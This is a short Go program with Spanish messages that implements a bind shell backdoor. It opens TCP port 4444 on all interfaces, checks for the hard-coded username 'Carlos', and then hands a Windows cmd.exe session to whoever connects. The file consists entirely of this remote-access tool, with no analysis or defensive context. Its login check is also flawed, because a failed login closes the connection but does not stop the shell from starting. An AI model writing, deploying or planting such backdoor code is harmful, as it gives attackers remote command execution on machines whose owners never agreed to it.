package main import ( "fmt" "net" "os/exec" "strings" ) func main() { listener, err := net.Listen("tcp", "0.0.0.0:4444") if err != nil { fmt.Println("Error al abrir scoket") } defer listener.Close() conn, err := listener.Accept() if err != nil { fmt.Println("Error") } if err != nil { fmt.Println("Error al recibir la conexion") } if login(conn) != true { _, err = conn.Write([]byte("False User\n")) conn.Close() } cmd := exec.Command("cmd.exe") cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn cmd.Run() } func login(conn net.Conn) bool { mensaje := fmt.Sprintf("Favor de escribir usuario\nUsuario: ") _, err := conn.Write([]byte(mensaje)) buf := make([]byte, 1024) n, err := conn.Read(buf) if err != nil { fmt.Println("Error") } data := string(buf[:n]) user := strings.TrimSpace(data) if user != "Carlos" { return false } return true }